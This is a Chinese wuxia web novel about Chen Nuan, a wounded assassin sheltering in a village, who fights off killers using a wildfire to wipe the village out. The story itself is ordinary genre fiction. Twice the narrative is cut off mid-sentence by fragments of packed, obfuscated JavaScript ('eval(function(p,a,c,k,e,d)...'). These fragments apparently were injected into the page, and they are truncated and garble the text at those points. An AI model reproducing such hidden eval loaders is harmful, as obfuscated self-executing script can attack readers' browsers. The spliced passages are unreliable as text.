《送暖阳,送和意》 1. 君来村 观永七年六月二日,御史台得到密报——镇西大将军唐渊通敌。圣上命监察副使王絮急召其回京,未曾想九日后在回京路上唐渊及其随从将士和副使王絮被某一江湖组织杀害,无一幸存。 朝廷命官惨遭江湖人毒手被曝尸荒野,圣上得知消息后勃然大怒,下令成立百清堂设于黎国境内二十九州各处,凡习武之人皆须登记名册,凡有江湖人集会之地必有朝廷监管人员在场。 同年七月,因百清堂的设立,江湖人多数开始隐姓埋名,甚至最后销声匿迹。 宛如一潭死水的江湖,直至三年后涉州发生“春日变”后才渐起波澜…… 陈暖突然被一股寒意逼醒,摸了摸身上,发现被子早已不知所踪,叹了口气,睁开眼一侧头就看到蹲坐在床榻旁边的来福,起身捡起地上的被子拍了拍上面的灰尘,语气凶恶地说:“下次再大清早拉我被子就把你关起来!” 来福看到她起床立马站起来高频率地摇起了尾巴,仅剩的那只灰色眼睛正炯炯有神地盯着陈暖,然后就转身从门缝溜出去了。 魏燕听到开门的动静回头看到陈暖站在门口望向这边,边往灶屋走去边向她招了招手。 陈暖向院中众人点头笑了一下便紧跟在魏燕身后,“燕姐,这是在干什么?”她等魏燕关了门后问,“我刚才好像隐约听到什么搬家。” “对。”魏燕将煨在铁锅里还温热的早饭拿出来放到桌上,接过陈暖递过来的椅子后坐下,深深叹了口气,“刚才在讨论过一阵子搬到上君来的事情。” 陈暖边吃边疑惑问道:“这不是才二月吗,怎的突然搬家?” 她本是江湖散客,靠接暗杀单谋生,一次任务中因故落难受伤,慌不择路地跑到了宁静森林边缘,幸好在重伤昏迷期间被出来采猎的下君来村的村长魏燕所救,遂在此地住了一月有余,对这村落也有了基本的了解。 君来村分为上君来和下君来,下君来临近大沼泽地,每年三四月地下和地上野火蔓延,此地会燃起熊熊大火,直至所有植物燃烧殆尽才熄灭。因此在野火来临前半个月,村民们就要着手准备穿过宁静森林搬到上君来村避难的事情。 “周城主说今年野火来临的日子会提前,让我们早做准备。”魏燕看着陈暖还未恢复好的左手,想到当初捡到她时浑身是伤的模样,不禁心生怜惜,“暖丫头,你后面有何打算?” 陈暖喝完最后一口粥,看着眼神真挚的魏燕,伸出右手握住她,笑道:“我原本打算这几日就走,既然要搬家,那便等你们搬去上君来后再走也不迟。” 魏燕反手握住她,言辞恳切地问道:“大家都很喜欢你,是真的不打算留下来吗?尤其那些小家伙,自你上次在鬣狗嘴下救了他们,就整日闹着我让你教他们练剑,一听我说你要走,就开始哭闹。” 陈暖摇了摇头。自己处理事情尽管干净,但若是贪图安逸留下来,万一哪次出现意外,被仇家找上来,后果将会不堪设想,所以还是不拿全村人的性命去赌这个侥幸。 “魏燕——好了吗?”人未到,声先至。 马雪兰从门口探头进来,打断了魏燕还要继续再劝的话头,她在看到陈暖后丹凤眼瞬间笑意盈盈,“暖丫头也在,要不今日一起出去看看?” 陈暖走到门边活动了下左脚,伤口处虽已愈合但隐约有紧绷感,但好在骨头没事,想想自己确实有一个月没迈出这个院子了,便朝马雪兰点头应道:“好啊!” “好嘞!那我们在村口等你俩啊!” 微风吹过树林,送来枝叶的摩擦声,和空气中隐隐约约、似有若无弥漫过来的焦味。这是大沼泽最深处野火逐渐燃烧地表植物的味道。 陈暖看着前面有说有笑的女人和男人们,再看着周围高.耸入云的白桦,耳边是乌鸫穿林而过的啸声,脚下是又湿且滑的低矮灌丛和苔藓,不禁心生奇异。一个月前自己还以为命不久矣,如今竟站在如此令人身心放松的奇妙地方,也算是自己再一次从鬼门关中出来的意外之喜吧。 “这是我们的安全路线,蛇虫会少一些,路也比较好走。”魏燕放慢脚步和陈暖并排,“这片属于大沼泽外围,中心现在地下火已经开始燃烧,我们不能往里面行进太多,防止踩到暗沼。” “暗沼?” “就是被枯枝落叶以及周边植物掩盖住的塌陷地带,与普通的沼泽地不一样,陷进去的人不是被地底散发出来的瘴气毒死,就是被地底的高温烧死。地上火不可怕,可怕的是看不见的地下火,这也是我们提前走的原因,等地下火彻底烧过来时,就谁都走不出这片地了。” 大地之火来势汹汹、无人可挡,人们只能未雨绸缪。 当有足够大的吸引力——如幽火果、牵灵花等这价值千金甚至一株难求的珍稀药材存在,人们自当会趋之若鹜,哪怕生命会受到巨大威胁。 然而今天要让他们失望了。 因为从进山到现在已有两个时辰,还未寻到幽火草的植株,看来今日要无功而返了。不过好在采了精矿,也猎到了一些野味,也不算毫无收获。 不承想这种空手而归的日子持续了八天,许是在外围的缘故,鲜有幽火草的踪迹。 好在陈暖跟着魏燕他们出来采猎的第九天终于看到了在暗沼旁边生长的的一株幽火草,但因为将近傍晚,林中愈发幽暗,看不清暗沼范围具体有多大,他们不敢冒险,便只能放弃。 只是陈暖万万没想到幽火草如此显眼,植株目测竟然高达五尺,和周围低矮灌丛相比简直就是植物中的“巨人”。它的叶片如传说一般红艳似火,略微倾斜向暗沼中心,顶部是被蓝色花托包裹着的果实,根茎通体呈暗黑色,宛如斜插在土地上饮血待战的战戟。 “走吧,看这样子估计在搬家前很难再摘到幽火果了。” 众人只好无奈四散,继续进行日常的采猎。 陈暖弯腰捡起猎物时一阵风吹过,卷起地上的枯枝落叶,树林中响起簌簌的叶子摩擦声。她瞬间站起身,将手中刚才顺便捡到的树枝以迅雷不及掩耳之势打向西南角深处,这一击,她毫无保留。她看着深处不语,那里依旧光影明昧,虽听到了树枝落入草丛上发出枝叶摩擦的杂乱声,但目之所及却空无一人。 可她刚刚在弯腰的那一瞬间真切感受到了被人注视的感觉,那目光阴冷、且充斥着无边的恶意。 “暖丫头?” 陈暖听到魏燕在远处喊她的声音,收回戒备的神情,抬步往人群走去,大声回应道:“来啦!” 藏心剑诀她已练至第六层,但这一路走来,她不曾听到除了他们以外任何人的脚步声,这只有一种可能,此人功法或身法绝对与她相当甚至在她之上。 那这世间,便屈指可数了。 只是不知对方是何目的,若是因为“牵灵花”路过尚且无碍,但若是冲着村里人来…… 那她定不轻饶。 树林中随着人群的离去逐渐恢复宁静,只余下偶尔的鸟叫声,和西南角深处灌丛里传来窸窸窣窣的动静。 崔书雪站起来看着陈暖消失的方向,抬手抹了下耳廓处,看到指尖上的血珠,他捻了捻,踩断了刚才打过来的那根树枝,往宁静森林走去。他虽步伐悠闲,却能瞬间移至一丈之外,这便是名满天下的崔氏踏影。 半个时辰后他到达了上君来村的后山,那里有个身着银色长衫的男子在等他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宝卷张了张嘴,脸上满是拒绝。这个女人不仅心狠手辣还嘴毒,至今她那句“我不和废物合作”还常常让宝卷午夜梦回中气醒。 宝卷见自家公子是铁了心让她同行,长长叹了口气,问道:“公子为何要陈姑娘一同前去?” “因为她武功高强。”许和意认真道。 唐渊案后,江湖表面上一片和谐,然而暗地里依旧波云诡谲,留存百年的那些江湖势力岂会因这一时的打压而消失。恰逢“牵灵花”这一极品天材地宝出世,现在街上虽然拿刀佩剑的人很少,但很多势力已经蠢蠢欲动。在此情况下,多一个武力压制的人就能让那时的局面更稳定一些。 当然他也存有个人私心…… 宝卷:“……” 好好好,他骂你是“废物”,你夸她“武功高强”,这默契简直是感天动地。 牵灵花需要借助大沼泽地的地下野火产生的热气才能开花,当地下火烧至地上的那一瞬花便盛开,但因周围是漫天瘴气和浓雾,需等到花开后的第六日才能进入。因此许和意只需要知道准确的花期,在花期到来前陈暖能到现场就行,至于其他不想多管,就连身后从他进入沧溪路就一直跟着的尾巴他更是懒得在意。 地上火来临前的君来村被若有若无的烟味笼罩,但很快又被风吹散,只有对周围环境变化感知极强的动物们知道,自己脚下的土地正在一天比一天变得滚烫。 陈暖将自己和沈静珠的路引递给正在盘查进城人员信息的守备军军长,随后牵着沈静珠在城门口的布告栏旁看得津津有味。上方除了日常的寻人、寻物和租赁信息外,还有一则悬赏令及一条因为“牵灵花”出世导致进城人数比以往增多,防止夜里有人生事而开展全城宵禁的示谕。 下君来搬家就在三日后,因着先前林中遭遇的窥探,她虽到上君来去过几趟,但并未发现什么异样。于是今日陈暖便趁着沈静珠回城探望太奶奶,和她一同进城,看看能否找到一些线索。 2. 野火之上 将沈静珠送到沈府后她便轻车熟路地沿着主干道拐进了城西的仁安里,这里商铺林立,南北杂货齐全,当然也最是鱼龙混杂。 她在一家卖胭脂水粉的铺子里买了些粉色纸笺和一罐舒云露后到仁安钱庄开了个钱柜将其放置进去,随后把钥匙递给了伙计。 “广来阁又去御景园闹事了?” “这都第三回了吧,啧啧啧,我看这御景园迟早顶不住要盘出去。” 陈暖离开钱庄没走几步听到路边卖灯笼的人在那闲聊,立马上前询问:“大娘,可是那个卖金银首饰的御景园?” “那还能有哪个御景园!” 陈暖一直只知道纪灵的铺子开得挺大,有多家分号,没想到这偏远的揽水城也有铺子。不过刚才听到他们的寥寥数语,好似这店铺出了事。 “大娘,劳烦您告知我一下这店铺开在何处?” “就在城东第二街,楼最高的那个就是。” “多谢!这灯笼我买一个。”陈暖挑了个小狗样式的纸糊灯笼,付了钱后就往城南走去。 她刚走到第二街的街口,就听到远远传来吵架和摔东西的声音,御景园楼外围了里三层外三层的看热闹人群,待她挤进去后只听见一句“不卖明日就再过来砸”的嚣张言论和几个大摇大摆离开的人的背影。 陈暖连忙走上前帮他们扶起摔倒的桌椅,却被人挡住了手。 “姑娘还是不要帮忙为好,我怕你惹祸上身。”李黎见她孤身一人且衣衫普通,怕是个没权没势的小娘子,要是被广来阁的人盯上那可就糟了。 “没事,我和你们纪掌柜是好姐妹。”陈暖说着将内袋里的一个小巧精致的印章拿出来给她看。 李黎迟疑地接过,在看到印章上凤凰花的纹路和自家掌柜所刻的字迹时,便确认了面前女子的身份,连忙将她引到楼上,笑道:“原来是陈姑娘,姑娘唤我李黎就好。”她将拦在楼梯间的一根断木移开,“实在不好意思让你看到这个场面。” 陈暖将印章收好,跟随她的脚步走上二楼,却没有进屋,只是站在栏杆处环顾着四周。内里的陈设和望津城的御景园基本一致,只是风格更贴近涉州的民风习俗,但从桌椅的崭新程度可以看出这家店刚开不足半年。她看着楼下伙计收拾混乱的残局,问:“广来阁是?” “也是揽水城里一家卖首饰的铺子,最近一直想要盘下御景园,我们掌柜的当然不愿意,于是他们就隔三岔五找人来捣乱。” “没有官府的人管吗?” 李黎叹气道:“这广来阁的掌柜就是揽水城副城司董宇的侄子开的。” 陈暖冷哼一声,道:“怪不得这么嚣张。” 唐渊案后黎国境内的各大城市都实行一城二司的制度,顾名思义即一位城主、两位城司。城主主管江湖,但目前江湖式微,城主可以说是形同虚设;城司则主要代朝廷行监管之责,在如今形式下可谓是如日中天。 陈暖用手指着楼下,问:“听刚才那人的意思是明天要再来一次?” 李黎点头:“对,一般来个一两次就会消停一段时间。” “行,那我明天就在这等他们来。”陈暖的五原则之一其中虽然有“涉及朝堂之事不接”,但要是有人将梯子主动递上来那就是另一回事了,她可最是会顺竿儿爬的。 待吃过晚饭后陈暖就到城北的沈家将小狗灯笼递给了沈静珠,叮嘱道:“小静珠,我这里有点事情走不开。明日要是有人拿着这块玉佩来找你,你就和他一起走,他会把你安全送到村里。”陈暖将腰间的半截玉佩递给她看,并把拓下玉佩纹路的纸给她,“若是后日早上我还没来,那就不用等我了,等我处理完这边的事会去上君来找你们。” 沈静珠听后用力点了点头,眼中满是希冀:姐姐,我可以带来福一起回去吗? 陈暖虽没有学过手语,但这一个月在下君来耳濡目染下也基本上能看懂个大概,于是她摸了摸沈静珠的头,笑道:“当然可以。” 陈暖拿回玉佩,朝院中站着望向这边的老者轻点了下头,然后拍了拍沈静珠的肩膀,道:“回去吧,你太奶奶在院子里等你呢。” 她等沈府大门关上,脚步一转,就往城南安乐坊的第七街走去。 许和意刚从房里洗完澡出来,迎面就是一道寒光闪烁,他立刻侧身退到一旁,同时拦住了刚一只脚踏出来的宝卷。 宝卷大气不敢出,眼睛瞪大,只敢余光看着右边门框上的匕首,和匕首尾部挂着的一个香囊。 许和意冷眼看着对面房顶上站着的人,那人的身影在月光下朦胧又缥缈,发丝随风微动,尽管由于距离原因看不清人脸,但是他还是一眼认出了对方。 对方见他望向这边,朝他挥了挥手后便一个翻身不见了身影。 “这个陈暖真的是太嚣张了,这都要宵禁了还敢出来!……嗯?怎么拔不出来?”宝卷通过自家公子的表情以及对方随心所欲的行事作风也认出了来者是谁。 许和意转头看到宝卷想将匕首拿下来,脸都憋红了,手指都用力到攥白了还是拔不出来。他抬起右手,将内力化于手掌中,握住匕首稍微一用力就拿了下来。他将匕首递给宝卷,将香囊里的东西倒在手心中—— 是一块只有半截的玉佩和折起来的一张粉色纸笺。 “公子,上面写着什么?”宝卷认出来了那半截玉佩,是那日公子受重伤时一直握在手中的玉佩的另一半。宝卷此时心里快好奇死了但也不敢多问,只能问个别的。 “明早让梁声过来。”许和意将手中的纸笺丢进门口的石灯里,原本幽暗的烛火瞬间长高,照亮了他还略带湿意的侧脸,“巳时的时候让揽水城的两位城司来见我。” 宝卷点头应下,跟在许和意的身后,心中不禁讶异到底是什么重要的事还专门让在外的梁声回来。 “陈暖明天不走了?”崔书雪惊讶地听探子汇报,听到最后脸都黑了,咬牙切齿,“真是有个好侄子啊,这么多家店铺不去闹,却偏偏选了个御景园!” 若是陈暖这两日都在揽水城,那计划就必然推迟。可牵灵花期眼见临近,来这里的人会越来越多,届时许和意也到了上君来,那事情败露的可能性就大了。 不行……一定要让她最晚明日宵禁前动身去下君来。 崔书雪皱紧眉头,细细想了一会儿,道:“明天想办法给下君来制造点麻烦,然后在下午的时候找人让陈暖知道下君来出事了。”他顿了下,“还有,明天大清早董宇点完卯就把他叫过来。” 若想事情万无一失,阻挡陈暖离开的这个起因就要首先排除。 而当事人董宇则在温柔乡中早早睡去,怕是做梦都不敢想自己有一天会直接被三个难惹的人物盯上。 第二日时间已过未时,御景园门口依旧人流如织,一片祥和,丝毫没有前来闹事人的身影。 陈暖无聊地撑着脑袋坐在二楼,看着门口迎来送往,左手把玩着午时就被送还的玉佩,想着这许和意办事竟如此利索,看来还得是官大的才能压得住官小的。 “陈姑娘!”李黎三步并两步地快速上楼,将手中的信递给陈暖,“沈家那边托人让我把这封信递给你,说是有急事要告诉你。” 陈暖疑惑,她和沈家并不相熟,先前送沈静珠回去也没想着相识,因此每次去都只是站在门外交代沈静珠,他们又是怎么知道自己在这里的? 她扫了一眼信上的内容后,立马站起身对李黎说:“我即刻动身离开,若是后面还有人找麻烦,直接去城南安乐坊第七街找个姓许的。还有,要是一会儿有沈家带人来,和他们说我先走一步。” 信上说下君来下午的时候遭遇野兽袭村,有几个人受了伤,其中就包括魏燕和沈静珠,希望陈暖能带上几个沈家的人去将沈静珠和马雪兰接回来。 又是野兽?近日并没有下雨,那么下君来村外每日清晨都撒的避蛇虫猛兽的剧毒药粉也不应该失效,除非有人有意为之…… 陈暖猛拉一下缰绳,周围吵闹的声音好似一瞬间消失,路边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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沈老太爷站在门口见管家向自己伸手后没了动静,也不知道自己的宝贝外孙回来了没,便也等不及他过来扶自己,脚步虚浮地踩过院子中还未干透的水坑朝管家走来,待他越走越近,看清了眼前的景象后步伐也越来越慢—— 管家瞪大的双眼里已经没了生机,伸出的手在沈老太爷走过来时已经无力垂下,穿胸而过的短刀闪着寒光,身前的阴影遮挡住了早已鲜血遍地的地面。 “你……”沈老太爷抬手指着家丁中的其中一人,他们前半个时辰还打了照面——是崔书雪的手下。 萧云擦干净长剑上的鲜血,看着地上没了气息的沈老太爷和管家,冷淡道:“天亮前收拾好。” “是。” 剩下几个穿着家丁衣服的人两两各抬一具尸体将其扔到了停在后院中的八辆板车上,剩下一人则利索地将院中的血迹用水冲洗,鲜红的颜色逐渐变淡直至和水交融,被扫帚扫进院中道路两侧的小花园中。 皎洁的月光照着沈府里忙前忙后的人,也照亮了那八辆车上被草席草草卷起的堆成山的尸体,更是替陈暖夜间赶路辨清了方向—— 陈暖牵着马站在分岔路口,借着月光找到了她出村时一路留下的记号,擦了擦额头上的汗,又再次上马赶路。 越靠近下君来,四周笼罩的热气就越来越浓,这也才二月底的天,硬是给陈暖一种在过酷暑的感觉。 陈暖还未进村,就在村口昏暗的灯光下看到了已经装满东西的木架车,以及正在清点物品的马雪兰。 马雪兰听到村口不远处传来动静,警惕地拿起随身携带的匕首,待看到那被村口灯光逐渐照亮的脸后,脸上戒备的神情转为了惊喜,她连忙上前帮陈暖将马栓到旁边的栏杆上,问:“你怎么大半夜就回来了?!” 陈暖弯腰摸了摸在腿边兴奋摇尾巴的来福,接过马雪兰递来的手帕将脸上的汗珠擦去,回道:“我听说村子遭野兽袭击了,还有人受了伤,到底是怎么回事?” 马雪兰叹了口气道:“不知道什么原因,昨日下午村里突然闯进来了几只野猪,甚至后面还出现了一条响尾蛇……”马雪兰回想到当时野猪横冲直撞的场景就不寒而栗,“好在我们一直都有准备,最后都把它们赶走了……就是魏燕在拿药粉时被蛇咬到了。” 3. 野火之中 陈暖心中一紧,在听到马雪兰说毒已经解了的时候松了口气,“可还记得野兽大概是几时出现的?” 马雪兰虽疑惑,但还是仔细回想了一下:“那时静珠都已经回来吃完了午饭……估摸着应该是过了午时。” 昨日午时许和意已将玉佩送来,那就说明他派出去的人在巳时就已经从下君来回程。而蓄谋已久的人在等许和意派出去的人彻底离开并确定不会再折返时,才将野兽放了出来。御景园没有人来闹事,她一直以为是许和意解决了事情,这么看来是有人替她提前解决了闹事的人。 到底是为什么就一定要让她必须在今日回下君来呢? 陈暖把沈静珠因为热而踢开的被子重新盖到她身上,拿起床边的扇子给她扇着,借着昏暗的烛光看着沈静珠熟睡的脸庞,思绪飞远。 如此费尽心机,她只想到了一种可能—— 有人想要灭村,连同她一起。 陈暖感到身体升腾起无边的愤怒和一股不合时宜的莫名的激动——她已经很久没有体验过这种事情不受自己掌控的感觉了。 不管灭村原因为何,这村中五十余口人的性命她定会拼命护住。 丑时已过,原本静谧的大沼泽地内突然涌现出成千上万只飞禽走兽,它们不约而同地朝西北方向奔袭而去,那是通向宁静森林的方向。 陈暖从床上惊坐起,不止是单纯的被热醒,更是因为她听到了来福在院子里扒门的声音和大沼泽地方向传来的动物们仓皇逃离的脚步声,但因着距离过远那声音若隐若现。她轻身翻下床,蹑手蹑脚地打开房门,扑面而来的是比屋内更热的热浪和更明显刺鼻呛人的烟味。 不用侧耳贴地确认,她仅凭释放内力感知一下,就知道大沼泽地的野火开始蔓延,因为动物就是最准确的预知者。 不能等天亮了,立刻出发去上君来! 她进屋点亮烛火,叫醒还在睡觉的马雪兰和沈静珠。马雪兰刚醒来就闻到了空气中弥漫的烟味打了个喷嚏,立马起来穿衣,不用陈暖多说,她知道出发已经刻不容缓。 “铛铛铛”的锣鼓声打破了下君来夜里的宁静,是魏燕在敲村中大树下的铜锣。从建村起就用线将大沼泽地外围树木和村长后屋内的铃铛连在一起,但凡有风吹草动铃铛便响起,今夜尤其明显且持续。魏燕便知道是动物们在逃命。 魏燕放下锣槌,扭头看到陈暖站在马雪兰身边,惊喜道:“暖丫头你竟然回来了!” 陈暖上前帮她推轮椅,左手放在她的肩膀上拍了拍道:“嗯,那边事情结束了就过来了。” 魏燕感受到肩膀上她传递过来的重量和热度,原本慌乱的内心逐渐安定下来,等村中人基本都聚齐了后她清了清嗓子:“大家都收拾一下,我们一炷香后就出发!” 搬家对于下君来的村民来说最是熟悉,只是从未夜里赶过路,多少有点担心,但是空气中越来越浓的烧焦气味和周围越来越高的温度催促着他们不得不立即出发。 陈暖则趁这个间隙亲自去一趟大沼泽地外围,看看情况到底如何。 她催动内力,借助周围地势和树林的枝杈在林中穿行,明亮的月光让她看到沿着村子外围人工挖掘的两条各约三丈和两丈宽的防火隔离带。她站在最前方防止地上火蔓延的两丈宽的隔离带内,已经能看到林中冲天的火光和顺风飘过来的浓烟。 陈暖伸手感受着风吹过的速度,眉头紧皱地盯着那浓烟。 不对劲。 身边的风是柔和的,仅仅能吹起她的发丝,但林中浓烟吹过来的速度明显快于这里,虽说林中植被茂盛,但这烟也不应该飘得如此快。 她将浣火衣和脸上的遮口系紧,继续往前,直至浓烟在前无法再进一步时才停下,接着她踩在树杈上节节后退,因为烟在前方步步紧追。 她倏然侧身向前,令人感到窒息的浓烟扑面而来,她屏住呼吸,将踏枝而行的速度提到最高,找到目标后就迅速撤退。 全身血液好似在沸腾,虽并未被火烧到,但是那灼热的热气已经令她皮肤发烫。她喘着粗气将手上已经没有气息的人放到树干上。 此人虽穿着造价昂贵的浣火衣,但揭开他面前的遮口,就能看到呈现黑紫色的嘴唇和口鼻处残留的烟灰,这是非常明显的因吸入大量烟尘而窒息死亡的症状。 陈暖神情凝重,这人明显是亡命之徒,发现第一个人,那就说明里面还会有多个人。是他们在操控林中的风。 陈暖翻身跃下,身子呈倒挂状,双脚挂在最低处的树枝上,伸出一根手指,在触地的瞬间翻身落回枝杈上。她看着隐约发红的指尖,大地已经开始发烫。根据浓烟的位置再加上风的助势,大概半个时辰后地上火便会烧到隔离带,而隔离带虽能隔开地上火,但地下火却无法阻止,两个时辰后地下火便会进入村庄十丈之外。 来不及了! 陈暖不再犹豫,将飞云踏枝术发挥到极致,将此事告知魏燕、留下浣火衣后再次返回到大沼泽地外围——时间分秒必争,自然之火人力虽然无法阻挡,但人为之风却可以。 “公子,陈暖似有所察觉。”萧肃派人清点了大沼泽地死去人的尸体,发现少了一人。 崔书雪早已预料到,缓声道:“那就加快速度。”他将手中扁平的石子尽力打向河中央,满意地看着石子紧贴河面荡起的阵阵波纹,“派天字营去截杀。” 崔书雪知道天字营拦不住陈暖,但却能将她重伤,再加上有野火围困,今日陈暖必会命丧于此!有她给自己苦心培养的天字营陪葬也值了! 第十一人。 陈暖将手中的蚕筋线收回,甩了甩其上沾着的鲜血,原本白色的线因为浸了太多血已经彻底染红。她不清楚林中助长风势的人还有多少,只知道自己因为长时间使用秋水照影令她内力只剩五成,遂退入隔离带内暂时调整内息。 “唰——” 铁链破空而来,陈暖调息的位置在重击下激起阵阵尘土,甚至有热气从土地中升起,足以可见这一击的威力无穷。 陈暖踩在旁边的树枝上,冷眼看着下方严阵以待的九人,眼里满是蔑视:“找死。” 她疾冲而下,蚕筋线顺势抛出,原本绵软的丝线瞬间坚硬如铁,打在一人身前,随后抽出身后的长剑令其与蚕筋线进行振动,后者一根生出数根,其中带着的澎湃的内力将最近三人的胸口化为了血雾。她借助此三人尚未来得及倒下的尸体用飞云踏枝避开了其余人的攻击,在空中短暂悬停了一息后再次冲向剩下六人之中。 尚未完全调理好内息的她因为使用刚才的瞬杀术而内力几近枯竭,只能借助藏心剑诀在施展招数的同时,调动全身经脉加快自身恢复速度。 只是生死过招永远会不遗余力,天字营本就是从尸山血海中淬炼出来的利刃,对于杀人他们最是富有经验,哪怕少了人、甚至只剩一人,他们都会死战到底。 陈暖将剑从一人心脏里抽出,却因为来不及阻挡攻势被铁链振出去三丈远。擦去嘴边的鲜血,五脏六腑都在阵痛,因为快节奏的打斗而吸入太多浓烟的嗓子更是干涩异常。散落的发丝遮住了她微微颤抖的左手,刚才为了挡住那一击,她刚恢复没多久的左手旧伤复发。 尽管发烫的大地在灼烧着她撑着地的右手手掌,也只能强忍,在面对即将到来的杀手也无动于衷。直至其中一人剑已至身前,她瞬间暴起,借着身前的剑翻身,将来人踩至身下后闪退到后侧方的树枝上。 那人因为陈暖飞云踏枝术的借力被用力摔到地上,原本就有点松动的地面被这一击彻底塌陷,直接出现了一个黑如深渊的大坑,人瞬间掉了进去。 陈暖快速撤退,丝毫不顾后方有人持剑而来,宁愿侧身用肩膀抗下这一剑也执意后退。执剑之人见陈暖如此躲避瞬间明白这大坑有异样,可已经来不及了,从地下冒出来掺有剧毒的瘴气令他直接七窍流血而亡。 陈暖见他的身体也落入暗沼内,不禁感到后怕,还好刚才自己被铁链轰出去时用左手卸了那一击的力道,要不然此刻死得不留全尸的就是她了。 原本只冒着瘴气的暗沼在接触到空气的瞬间,地下火瞬间燃烧至地面,原本被隔离带隔绝的地上火再次死灰复燃。 因着在全神贯注地进行打斗,陈暖这才意识到原来他们早已越过了两个隔离带,正在逐渐接近村庄外围。地上火已被隔绝,但是刚才暗沼的出现让她悚 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对方滚烫的鲜血溅在她的脸上和血痕遍布的身体上,让她有了片刻的清醒。感官逐渐恢复的她第一反应就是脚钻心似地疼,她将刚才已死之人身上的浣火衣扒掉裹在自己已经被烫出水泡的双脚上,撑着剑艰难前行。待她走到脚下的土地没有那么炙热的时候,找了个稍高的小丘坐下来调理内息。 下君来的人已经离开了村子,但是按照他们以往对野火正常时间的判断,今日一定会全部死在这里。 陈暖睁开眼,内息虽才恢复了一成,但也足够她赶上他们了。 是小狗来福先发现的陈暖。 魏燕听到拴在车架上的来福朝身后狂吠,转头看到晨光熹微下陈暖艰难行走的身影,眼眶瞬间湿润。 陈暖隐约听到前方的狗叫声,知道他们发现了自己,便缓缓停下了脚步。 她是真的走不动了。 随后就感觉到身体被人抬起,有人在给她治伤,有人给她喂水,还有隐约的啜泣声…… 好吵,好累,好想睡觉。 “加快……” “好好好我知道了,你别说话了。”魏燕垂首附耳,听到陈暖嘶哑近乎无声的嗓音,她立刻意会。 但是已经晚了。 也就才半炷香的功夫,大地在发烫,甚至隔着特制的鞋子双脚也感觉到从地底下蒸腾而出的热气,马儿也开始焦躁不安。魏燕心中一凉,在看到周围不知何时出现了十几个身穿浣火衣的人时她瞬间明白这野火速度异常的原因。 村民们严阵以待,戒备地盯着来者不善的人。 “真是阴魂不散。”陈暖缓缓坐起,将剑递给魏燕,擦去了她脸上的泪水,“一直往前,不要回头。” 魏燕看着她拿出腰间的短刀,在她向前冲出架车后立刻驾马紧随其上,随后围在前方道路的四人在陈暖手起刀落后纷纷倒地而亡,魏燕加快速度,毫不迟疑地让马车踏过他们的尸体直冲向前,身后的村民亦是驾马紧跟。 剩下的死士并未追赶,反而四散,陈暖迅速作出判断,连杀了距离自己最近的四人后向魏燕离去的方向狂奔。 他们的意图很明显,用内力破开土层,让地下火变为地上火,又因为地下火的土层松动,接触到了空气和风,再次加快了地下火蔓延的速度。自己又屡屡被牵制、被消耗,在这野火的攻势下,最后会无人生还! 来不及了!!! 陈暖不顾钻心疼的肺腑,无视踏枝穿行时枝杈划在脸上和身上的刺疼,忽略手脚因为赶路被野火灼烧产生的水泡和烧伤,只是一味向前。 直至前方隐隐有火光,随着距离的拉近,地上不均匀出现的暗沼和其内残缺的人体映入她的视线中。她不作停留,屏住呼吸借助右侧更高的树枝绕开了浓烟和火势,眼前的场景让她目眦欲裂。 野火和暗沼之中横陈的是因烧焦或窒息而死的村民还有那些死士的尸体,甚至还有人尚未断气但半个身体陷在暗沼中或者身体处在燃烧中。 尖叫声、哭泣声、野火燃烧的声音让她瞬间耳鸣,这里已经和地狱已经没有差别。 陈暖继续向前,解决了几个还活着的死士,终于看到了正在逃亡的魏燕,她正欲快速近身,却看到架车后方突然出现了一个暗沼,架车后半部瞬间陷了下去。 4. 托孤 “魏燕!”陈暖在她身后大喊。 魏燕听到她的声音后当机立断,借着架车前方被抬高的力将拴在自己木轮椅上的麻绳用力抛出,麻绳另一端是裹着村里唯一一件浣火衣被栓在一起的沈静珠和魏满仓。原本前半段还在缓缓下坠的架车在失去大部分重量后直接接近垂直,此时架车顶部撞到了尚未完全脱离的轮椅,产生了巨大的冲击力,将轮椅撞到半空中,连带着麻绳那端也悬空,魏燕攥紧轮椅把手,另一只手将早已抽出的陈暖当时留下的长剑用力砍断和轮椅连接的麻绳。 千钧一发之际,她在看到陈暖从旁边不远处的树干上疾冲而下拉住了正在下坠的麻绳后一直紧张的心也放了下来,松开了一直攥着轮椅的手,缓缓下坠。 陈暖刚将小孩子们放到离自己最近的树杈上,就听到轮椅磕碰木板车发出的声音,她立刻扭头,看到已经在暗沼中消失的轮椅和仅剩车头的架车,以及快掉进暗沼中的魏燕。 “母亲——” 蚕筋线扑了个空。 谢谢。 陈暖看到了魏燕最后无声的道谢。 身为杀手的自己本以为早已经看惯了世间的生离死别,总以为早已练成能迅速抽离情绪的专业能力,但每次在看到承载着浓厚感情的死别时还是忍不住心中悲恸。 月光隐去,朝阳升起,陈暖第一次发现夜晚竟然能够如此漫长。 她回头看着因失去至亲在低声哭泣的两个孩童,说了句“抱紧我”后便不在此地停留。 事已至此,唯有向前,他们也只能向前。 “……” 萧肃大气不敢出,自他来向崔书雪汇报陈暖携带两名孩童逃出时,崔书雪就一直沉默,旁边的萧云放轻了呼吸,尽最大可能降低自己的存在感。 崔书雪都懒得骂出“废物”二字了。 “不过那两个小孩肯定会死。” 崔书雪叹了口气,放下手中的茶盏。自己这位蠢笨的手下又说了句废话。 “幽火果都清了吗?” 萧肃立马来了精神,好似早就等着崔书雪问这一句,斩钉截铁道:“保证一个不留。” 没有…… 还是没有…… 陈暖再一次寻幽火果无功而返。 她再一次将内力输送给魏满仓,但因为他年纪太小,身体无法承受太多内力,再加上他吸入暗沼的瘴气过多,那输进去的一点点内力对他来说简直就是杯水车薪。 唯一能缓解瘴气之毒影响的就是幽火果,可是陈暖搜遍了附近,甚至冲进了大沼泽地最后火势刚起的区域,仍旧没有发现幽火草的踪迹。 “咳——”魏满仓再次咳出鲜血,这回连眼睛和鼻子处也流出了血,沈静珠哭着替他擦去。她知道是魏满仓替自己挡住了当时直冲而上的瘴气,同时还将他的遮口给了自己,才导致他中毒这么严重。 